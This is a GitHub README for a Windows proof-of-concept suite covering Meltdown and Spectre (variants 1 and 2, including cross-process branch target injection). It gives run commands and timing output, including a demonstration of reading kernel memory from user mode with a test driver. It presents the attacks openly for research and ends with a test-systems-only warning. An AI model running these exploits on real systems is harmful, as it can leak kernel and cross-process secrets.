class="markdown-heading" dir="auto"><h2 tabindex="-1" class="heading-element" dir="auto">How to run</h2><a id="user-content-how-to-run" class="anchor" aria-label="Permalink: How to run" href="#how-to-run"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <div class="markdown-heading" dir="auto"><h3 tabindex="-1" class="heading-element" dir="auto">PoC #1: Toy example of Meltdown</h3><a id="user-content-poc-1-toy-example-of-meltdown" class="anchor" aria-label="Permalink: PoC #1: Toy example of Meltdown" href="#poc-1-toy-example-of-meltdown"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">This PoC demonstrates the toy example of Meltdown described in the <a href="https://arxiv.org/abs/1801.01207" rel="nofollow">Meltdown paper</a>. The program executes an instruction that throws Divide-by-zero exception. However, CPU speculatively runs instructions that are placed after the division and that behavior changes CPU's micro-architectural state. Using Flush+Reload technique, the program can identify a value that is loaded from memory during out-of-order execution.</p> <div class="markdown-heading" dir="auto"><h4 tabindex="-1" class="heading-element" dir="auto">Run & Output</h4><a id="user-content-run--output" class="anchor" aria-label="Permalink: Run & Output" href="#run--output"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">Run <code>toy.exe</code>. The output means how many cycles are consumed to read each of 256 probe lines. In the below example, obviously loading the index 0x42 is much faster than the others. This is the micro-architectural change caused by out-of-order execution.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="> bin\amd64\toy.exe trial#118: guess=42 (score=72) 258 261 264 264 225 228 231 228 225 228 231 225 264 294 255 267 258 261 261 261 264 264 228 228 240 258 264 264 267 267 264 261 261 261 264 258 261 258 264 264 225 222 222 231 231 231 258 261 264 261 255 261 264 264 261 264 258 258 264 261 255 258 255 255 258 264 72 261 258 264 261 261 258 264 258 264 264 261 261 258 264 222 225 228 228 228 228 225 231 267 258 264 255 255 261 255 261 261 258 258 261 255 261 255 264 258 258 258 261 261 261 258 ..(snip).."><pre class="notranslate"><code>> bin\amd64\toy.exe trial#118: guess=42 (score=72) 258 261 264 264 225 228 231 228 225 228 231 225 264 294 255 267 258 261 261 261 264 264 228 228 240 258 264 264 267 267 264 261 261 261 264 258 261 258 264 264 225 222 222 231 231 231 258 261 264 261 255 261 264 264 261 264 258 258 264 261 255 258 255 255 258 264 72 261 258 264 261 261 258 264 258 264 264 261 261 258 264 222 225 228 228 228 228 225 231 267 258 264 255 255 261 255 261 261 258 258 261 255 261 255 264 258 258 258 261 261 261 258 ..(snip).. </code></pre></div> <div class="markdown-heading" dir="auto"><h3 tabindex="-1" class="heading-element" dir="auto">PoC #2: Toy example of Spectre</h3><a id="user-content-poc-2-toy-example-of-spectre" class="anchor" aria-label="Permalink: PoC #2: Toy example of Spectre" href="#poc-2-toy-example-of-spectre"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">This PoC demonstrates two variants presented in the <a href="https://arxiv.org/abs/1801.01203" rel="nofollow">Spectre paper</a>: '4. Exploiting Conditional Branch Misprediction' and '5. Poisoning Indirect Branches'.</p> <p dir="auto">The first variant 'Exploiting Conditional Branch Misprediction' proves that CPU predicts a condition based on the previous results, and runs a branch speculatively when the result of that condition is still uncertain. The paper also includes the example implementation of this variant in C as Appendix A. I could simplify that example a lot by using assembly language.</p> <p dir="auto">The second variant 'Poisoning Indirect Branches' proves that CPU predicts the destination address of an indirect jump instruction based on the previous results. This PoC uses <code>call [rax]</code> to demonstrate the indirect jump. You can observe the processor speculatively runs the code at the previous jump destination while fetching a real destination from the address stored in the register <code>rax</code>.</p> <p dir="auto">In both variants, an attacker can <em>train</em> the branch predictor to cause the processor to mispredict a branch to the address which the attacker wants to run.</p> <div class="markdown-heading" dir="auto"><h4 tabindex="-1" class="heading-element" dir="auto">Run & Output</h4><a id="user-content-run--output-1" class="anchor" aria-label="Permalink: Run & Output" href="#run--output-1"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">Run <code>branch.exe --variant1</code> for Conditional Branch Misprediction or <code>branch.exe --variant2</code> for Poisoning Indirect Branches. The output is the same as Meltdown's toy example.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="> bin\amd64\branch.exe --variant1 trial#0: guess='A' (score=78) 27 267 264 261 291 330 264 297 258 261 255 255 300 222 225 294 264 264 258 297 291 264 303 264 261 261 297 228 225 303 261 303 225 330 267 258 300 297 303 297 270 264 330 228 303 258 258 264 264 258 297 261 258 261 330 258 330 261 225 300 261 303 261 261 264 78 318 225 228 300 261 261 258 300 228 249 297 300 261 303 258 264 300 300 228 267 264 297 261 300 231 300 303 258 333 294 258 264 294 225 297 300 297 300 261 261 261 261 273 261 300 324 ..(snip).."><pre class="notranslate"><code>> bin\amd64\branch.exe --variant1 trial#0: guess='A' (score=78) 27 267 264 261 291 330 264 297 258 261 255 255 300 222 225 294 264 264 258 297 291 264 303 264 261 261 297 228 225 303 261 303 225 330 267 258 300 297 303 297 270 264 330 228 303 258 258 264 264 258 297 261 258 261 330 258 330 261 225 300 261 303 261 261 264 78 318 225 228 300 261 261 258 300 228 249 297 300 261 303 258 264 300 300 228 267 264 297 261 300 231 300 303 258 333 294 258 264 294 225 297 300 297 300 261 261 261 261 273 261 300 324 ..(snip).. </code></pre></div> <div class="markdown-heading" dir="auto"><h3 tabindex="-1" class="heading-element" dir="auto">PoC #3: Full Meltdown</h3><a id="user-content-poc-3-full-meltdown" class="anchor" aria-label="Permalink: PoC #3: Full Meltdown" href="#poc-3-full-meltdown"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">This PoC demonstrates a full Meltdown scenario on Windows i.e. reading kernel memory from an unprivileged user-mode process.</p> <p dir="auto"><a href="https://github.com/IAIK/meltdown">IAIK's Meltdown PoC</a> tries to read data at the direct physical map region, but Windows kernel does not have such a region in kernel that is always mapped into the physical memory. Someone wrote a <a href="https://github.com/stormctf/Meltdown-PoC-Windows">PoC for Windows</a> that is trying to read data at <Imagebase of NT kernel>+0x1000, but this code did not reproduce Meltdown on any of my environments.</p> <p dir="auto">For the demo purpose, I wrote a kernel driver to allocate some bytes in the non-paged pool. Moreover, to make Meltdown work, I needed to implement a couple of more tricks, that I'll write up somewhere later.</p> <div class="markdown-heading" dir="auto"><h4 tabindex="-1" class="heading-element" dir="auto">Run & Output</h4><a id="user-content-run--output-2" class="anchor" aria-label="Permalink: Run & Output" href="#run--output-2"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">First, configure <code>meltdown.sys</code> as a kernel service and start it. This stores some data in the non-paged pool.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="> sc create meltdown binpath= D:\WORK\meltdown.sys type= kernel > net start meltdown"><pre class="notranslate"><code>> sc create meltdown binpath= D:\WORK\meltdown.sys type= kernel > net start meltdown </code></pre></div> <p dir="auto">You can get a kernel address allocated in the previous step by running <code>mdc.exe</code>. You'll see an output as follows. In the below output, the target is <code>FFFFD10902564000</code>.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="> mdc.exe --info FullPathName: \SystemRoot\system32\ntoskrnl.exe ImageBase: FFFFF8014B889000 ImageSize: 008d2000 FFFFF8014BDA6000 (= nt + 0051d000 ): 00 00 e8 79 2d ba ff 8b 87 d0 06 00 00 45 33 f6 Secret data should be placed at FFFFD10902564000"><pre class="notranslate"><code>> mdc.exe --info FullPathName: \SystemRoot\system32\ntoskrnl.exe ImageBase: FFFFF8014B889000 ImageSize: 008d2000 FFFFF8014BDA6000 (= nt + 0051d000 ): 00 00 e8 79 2d ba ff 8b 87 d0 06 00 00 45 33 f6 Secret data should be placed at FFFFD10902564000 </code></pre></div> <p dir="auto">Before staring Meltdown, run the following command as well. This makes sure the target data is stored onto L1 cache. This is a mandatory step.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="> mdc.exe --timer_start"><pre class="notranslate"><code>> mdc.exe --timer_start </code></pre></div> <p dir="auto">Finally, start <code>meltdown.exe</code> to start Meltdown. The first parameter is the number of bytes to read. The second parameter is the virtual address to start reading at. You'll see an output as follows.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="> meltdown.exe 4 FFFFD10902564000 Target range: FFFFD10902564000 - FFFFD10902564004 You have 8 CPU cores. Starting probing threads... running tid:0ae8 for core#0 running tid:1e08 for core#1 running tid:0ad8 for core#2 running tid:16a8 for core#3 running tid:11cc for core#4 running tid:0af0 for core#5 running tid:0af4 for core#6 running tid:0848 for core#7 core#0: 41 6e 10 77 core#1: 00 00 73 00 core#2: 00 e0 00 00 core#3: 00 00 00 00 core#4: 00 00 00 44 core#5: 00 00 00 00 core#6: 00 00 00 00 core#7: 00 00 00 00"><pre class="notranslate"><code>> meltdown.exe 4 FFFFD10902564000 Target range: FFFFD10902564000 - FFFFD10902564004 You have 8 CPU cores. Starting probing threads... running tid:0ae8 for core#0 running tid:1e08 for core#1 running tid:0ad8 for core#2 running tid:16a8 for core#3 running tid:11cc for core#4 running tid:0af0 for core#5 running tid:0af4 for core#6 running tid:0848 for core#7 core#0: 41 6e 10 77 core#1: 00 00 73 00 core#2: 00 e0 00 00 core#3: 00 00 00 00 core#4: 00 00 00 44 core#5: 00 00 00 00 core#6: 00 00 00 00 core#7: 00 00 00 00 </code></pre></div> <p dir="auto">This PoC is not as stable as the toy examples described earlier. The actual kernel bytes start with '41 63 73 77'. You can see the thread running on core#0 got three of them, and core#1 got one. It's not 100% accurate, but obviously we're seeing data that we should not be able to see. Success rate depends on CPU, and some parameters hardcoded in the attacker's code. For example, you may need to increase the value of <code>max_trial</code> in <code>meltdown_full</code>.</p> <div class="markdown-heading" dir="auto"><h3 tabindex="-1" class="heading-element" dir="auto">PoC #4: Cross-process Branch Target Injection (Spectre Variant 2)</h3><a id="user-content-poc-4-cross-process-branch-target-injection-spectre-variant-2" class="anchor" aria-label="Permalink: PoC #4: Cross-process Branch Target Injection (Spectre Variant 2)" href="#poc-4-cross-process-branch-target-injection-spectre-variant-2"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">This PoC demonstrates a cross-process scenario of the 2nd variant of Spectre while <code>branch.exe --variant2</code>of PoC #2 demonstrates a single-process scenario. The concept to prove here is that the execution of an indirect branch instruction in one process can influence branch prediction in another process, resulting in a speculative execution of a gadget that is chosen by an attacker. Moreover, the attacker can retrieve the result of victim's speculative execution via Flush+Reload in the attacker's context.</p> <div class="markdown-heading" dir="auto"><h4 tabindex="-1" class="heading-element" dir="auto">Run & Output (Flush+Reload in Victim process)</h4><a id="user-content-run--output-flushreload-in-victim-process" class="anchor" aria-label="Permalink: Run & Output (Flush+Reload in Victim process)" href="#run--output-flushreload-in-victim-process"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">First, start the victim process by running <code>spectre.exe --victim --probe</code>. The 2nd option <code>--probe</code> means we run Flush+Reload in the victim process. You'll see an output like this:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="> spectre.exe --victim --probe Starting the victim thread with probing on cpu#1..."><pre class="notranslate"><code>> spectre.exe --victim --probe Starting the victim thread with probing on cpu#1... </code></pre></div> <p dir="auto">Now the victim process is continuously executing an indirect branch instruction in a loop. You can influence this victim process by starting a new process. Open a new command prompt and run the command <code>spectre.exe --train</code>. The second process continuously executes an indirect branch instruction located at the same virtual address as in the victim process, but the destination address is cracked in the attacker process.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="> spectre.exe --train Starting the training thread on cpu#1..."><pre class="notranslate"><code>> spectre.exe --train Starting the training thread on cpu#1... </code></pre></div> <p dir="auto">When you go back to the first command prompt where the victim is running, you'll see an output like this:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="> spectre.exe --victim --probe Starting the victim thread with probing on cpu#1... trial#10209: guess='A' (=41) (score=70) trial#1: guess='A' (=41) (score=46) trial#0: guess='A' (=41) (score=36) trial#1: guess='A' (=41) (score=47) trial#1: guess='A' (=41) (score=43) ..."><pre class="notranslate"><code>> spectre.exe --victim --probe Starting the victim thread with probing on cpu#1... trial#10209: guess='A' (=41) (score=70) trial#1: guess='A' (=41) (score=46) trial#0: guess='A' (=41) (score=36) trial#1: guess='A' (=41) (score=47) trial#1: guess='A' (=41) (score=43) ... </code></pre></div> <p dir="auto">This means the second process successfully caused the first process to run a gadget speculatively, and Flush+Reload caught its result in the victim process. If you terminate the second training process and restart it with the same command again, you'll see speculative execution happens only while the training process is running.</p> <div class="markdown-heading" dir="auto"><h4 tabindex="-1" class="heading-element" dir="auto">Run & Output (Flush+Reload in Attacker process)</h4><a id="user-content-run--output-flushreload-in-attacker-process" class="anchor" aria-label="Permalink: Run & Output (Flush+Reload in Attacker process)" href="#run--output-flushreload-in-attacker-process"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">The previous Run & Output proves cross-process branch target injection indeed happens, but it's not very interesting because the attacker could not get the result of speculative execution. Let's see it's possible that the victim's speculative execution induced by the attacker influences back the attacker's Flush+Reload.</p> <p dir="auto">Start the victim process by running <code>spectre.exe --victim</code>. Without <code>--probe</code>, the victim process does not run Flush+Reload.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="> spectre.exe --victim Starting the victim thread on cpu#1..."><pre class="notranslate"><code>> spectre.exe --victim Starting the victim thread on cpu#1... </code></pre></div> <p dir="auto">Start a new command prompt and start the training process with the option <code>--probe</code>. If Flush+Reload at the attacker succeeds, you'll see an output like this:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="> spectre.exe --train --probe Starting the training thread on cpu#1... Starting the probing thread on cpu#2... trial#1565: guess='A' (=41) (score=97) trial#12636: guess='A' (=41) (score=60) trial#1037: guess='A' (=41) (score=82)"><pre class="notranslate"><code>> spectre.exe --train --probe Starting the training thread on cpu#1... Starting the probing thread on cpu#2... trial#1565: guess='A' (=41) (score=97) trial#12636: guess='A' (=41) (score=60) trial#1037: guess='A' (=41) (score=82) </code></pre></div> <p dir="auto">Unfortunately success rate of this scenario is bad, and it varies depending on CPU and other processes running on the system. In the worst case, you may need to wait a couple of minutes until a first result.</p> <div class="markdown-heading" dir="auto"><h2 tabindex="-1" class="heading-element" dir="auto">*Warning*</h2><a id="user-content-warning" class="anchor" aria-label="Permalink: *Warning*" href="#warning"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">This code is only for testing purposes. Do not run it on any productive systems. Do not run it on any system that might be used by another person or entity.</p> </article></div></div></div></div></div> <!-- --> <!-- --> <script type="application/json" id="__PRIMER_DATA_:R0:__">{"resolvedServerColorMode":"day"}</script></div> </react-partial> <input type="hidden" data-csrf="true" value="8KNuH1M4sBQtVVLntZGJK66e2+zsijKi1p/hKy+epM5oiqXjSvI6Ulv9ejVpvjizSwGRoKge9wbsiEoPEyb2Sg==" /> </div> <div data-view-component="true" class="Layout-sidebar"> <div class="BorderGrid about-margin" data-pjax> <div class="BorderGrid-row"> <div class="BorderGrid-cell"> <div class="hide-sm hide-md"> <h2 class="mb-3 h4">About</h2> <p class="f4 my-3"> Meltdown/Spectre PoC for Windows </p> <div class="my-3 d-flex flex-items-center"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link flex-shrink-0 mr-2"> <path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 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3.5c-1.473 0-2.825.742-3.955 1.715-1.124.967-1.954 2.096-2.366 2.717ZM8 10a2 2 0 1 1-.001-3.999A2 2 0 0 1 8 10Z"></path> </svg> <strong>5</strong> watching</a> </div> <h3 class="sr-only">Forks</h3> <div class="mt-2"> <a href="/msmania/microarchitectural-attack/forks" data-view-component="true" class="Link Link--muted"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path> </svg> <strong>7</strong> forks</a> </div> <div class="mt-2"> <a class="Link--muted" href="/contact/report-content?content_url=https%3A%2F%2Fgithub.com%2Fmsmania%2Fmicroarchitectural-attack&report=msmania+%28user%29"> Report repository </a> </div> </div> </div> </div> <div class="BorderGrid-row"> <div class="BorderGrid-cell"> <h2 class="h4 mb-3" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame"> <a href="/msmania/microarchitectural-attack/releases" data-view-component="true" class="Link--primary no-underline Link">Releases <span title="1" data-view-component="true" class="Counter">1</span></a></h2> <a class="Link--primary d-flex no-underline" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" href="/msmania/microarchitectural-attack/releases/tag/v1.0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-tag flex-shrink-0 mt-1 color-fg-success"> <path d="M1 7.775V2.75C1 1.784 1.784 1 2.75 1h5.025c.464 0 .91.184 1.238.513l6.25 6.25a1.75 1.75 0 0 1 0 2.474l-5.026 5.026a1.75 1.75 0 0 1-2.474 0l-6.25-6.25A1.752 1.752 0 0 1 1 7.775Zm1.5 0c0 .066.026.13.073.177l6.25 6.25a.25.25 0 0 0 .354 0l5.025-5.025a.25.25 0 0 0 0-.354l-6.25-6.25a.25.25 0 0 0-.177-.073H2.75a.25.25 0 0 0-.25.25ZM6 5a1 1 0 1 1 0 2 1 1 0 0 1 0-2Z"></path> </svg> <div class="ml-2 min-width-0"> <div class="d-flex"> <span class="css-truncate css-truncate-target text-bold mr-2" style="max-width: none;">Pre-built binaries</span> <span title="Label: Latest" data-view-component="true" class="Label Label--success flex-shrink-0"> Latest </span> </div> <div class="text-small color-fg-muted"><relative-time datetime="2019-03-21T15:50:28Z" class="no-wrap">Mar 21, 2019</relative-time></div> </div> </a> </div> </div> <div class="BorderGrid-row"> <div class="BorderGrid-cell"> <h2 class="h4 mb-3"> <a href="/users/msmania/packages?repo_name=microarchitectural-attack" data-view-component="true" class="Link--primary no-underline Link d-flex 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js-clipboard-copy m-2 p-0" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path> </svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check 